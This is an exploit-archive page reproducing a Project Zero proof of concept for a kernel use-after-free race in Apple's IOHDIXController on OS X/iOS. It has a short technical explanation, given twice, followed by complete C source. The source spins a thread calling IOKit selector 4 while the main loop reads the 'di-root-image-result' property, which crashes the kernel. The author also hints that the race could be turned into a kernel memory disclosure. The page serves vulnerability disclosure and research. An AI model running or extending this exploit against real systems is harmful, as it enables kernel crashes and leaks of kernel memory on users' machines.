Apple Mac OSX / iOS Kernel – UAF Racing getProperty on IOHDIXController and testNetBootMethod on IOHDIXControllerUserClient
/* Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=732 This is perhaps a more interesting UaF than just racing testNetBootMethod calls as there looks to be a path to getting free'd memory disclosed back to userspace. Although the copyProperty macro used by is_io_registry_entry_get_property_bin takes the entry's properties lock before reading and taking a reference on the property the testNetBootMethod external method directly calls the overriden setProperty without taking that same lock. ::setProperty calls ::release on all the properties before nulling them out then replacing them with new objects - we can get a UAF if we can get that ::release call to happen before the ::retain in copyProperty. This PoC will crash as a UaF but with more care I believe you could get the OSSerialize to serialize an invalid object leading to a nice kernel memory disclosure. Tested on OS X 10.11.3 El Capitan 15D21 on MacBookAir5,2 */ //ianbeer //build: clang -o hdix_race_get_set hdix_race_get_set.c -framework IOKit -framework Foundation -lpthread /* OS X/iOS kernel UAF racing getProperty on IOHDIXController and testNetBootMethod on IOHDIXControllerUserClient This is perhaps a more interesting UaF than just racing testNetBootMethod calls as there looks to be a path to getting free'd memory disclosed back to userspace. Although the copyProperty macro used by is_io_registry_entry_get_property_bin takes the entry's properties lock before reading and taking a reference on the property the testNetBootMethod external method directly calls the overriden setProperty without taking that same lock. ::setProperty calls ::release on all the properties before nulling them out then replacing them with new objects - we can get a UAF if we can get that ::release call to happen before the ::retain in copyProperty. This PoC will crash as a UaF but with more care I believe you could get the OSSerialize to serialize an invalid object leading to a nice kernel memory disclosure. Tested on OS X 10.11.3 El Capitan 15D21 on MacBookAir5,2 */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <IOKit/IOKitLib.h> #include <libkern/OSAtomic.h> #include <mach/thread_act.h> #include <pthread.h> #include <mach/mach.h> #include <mach/vm_map.h> #include <sys/mman.h> #include <CoreFoundation/CoreFoundation.h> unsigned int selector = 0; uint64_t inputScalar[16]; size_t inputScalarCnt = 0; uint8_t inputStruct[4096]; size_t inputStructCnt = 0; uint64_t outputScalar[16] = {0}; uint32_t outputScalarCnt = 0; char outputStruct[4096] = {0}; size_t outputStructCnt = 0; io_connect_t global_conn = MACH_PORT_NULL; void set_params(io_connect_t conn){ char* payload = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"; global_conn = conn; selector = 4; inputScalarCnt = 0; inputStructCnt = strlen(payload)+1; strcpy((char*)inputStruct, payload); outputScalarCnt = 0; outputStructCnt = 0; } void make_iokit_call(){ IOConnectCallMethod( global_conn, selector, inputScalar, inputScalarCnt, inputStruct, inputStructCnt, outputScalar, &outputScalarCnt, outputStruct, &outputStructCnt); } OSSpinLock lock = OS_SPINLOCK_INIT; void* thread_func(void* arg){ for(;;) { int got_it = 0; while (!got_it) { got_it = OSSpinLockTry(&lock); } make_iokit_call(); } return NULL; } int main(int argc, char** argv){ kern_return_t err; OSSpinLockLock(&lock); pthread_t t; pthread_create(&t, NULL, thread_func, NULL); mach_port_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOHDIXController")); mach_port_t conn = MACH_PORT_NULL; IOServiceOpen(service, mach_task_self(), 0, &conn); set_params(conn); for(;;) { OSSpinLockUnlock(&lock); CFTypeRef p = IORegistryEntryCreateCFProperty(service, CFSTR("di-root-image-result"), kCFAllocatorDefault, 0); } return 0; } |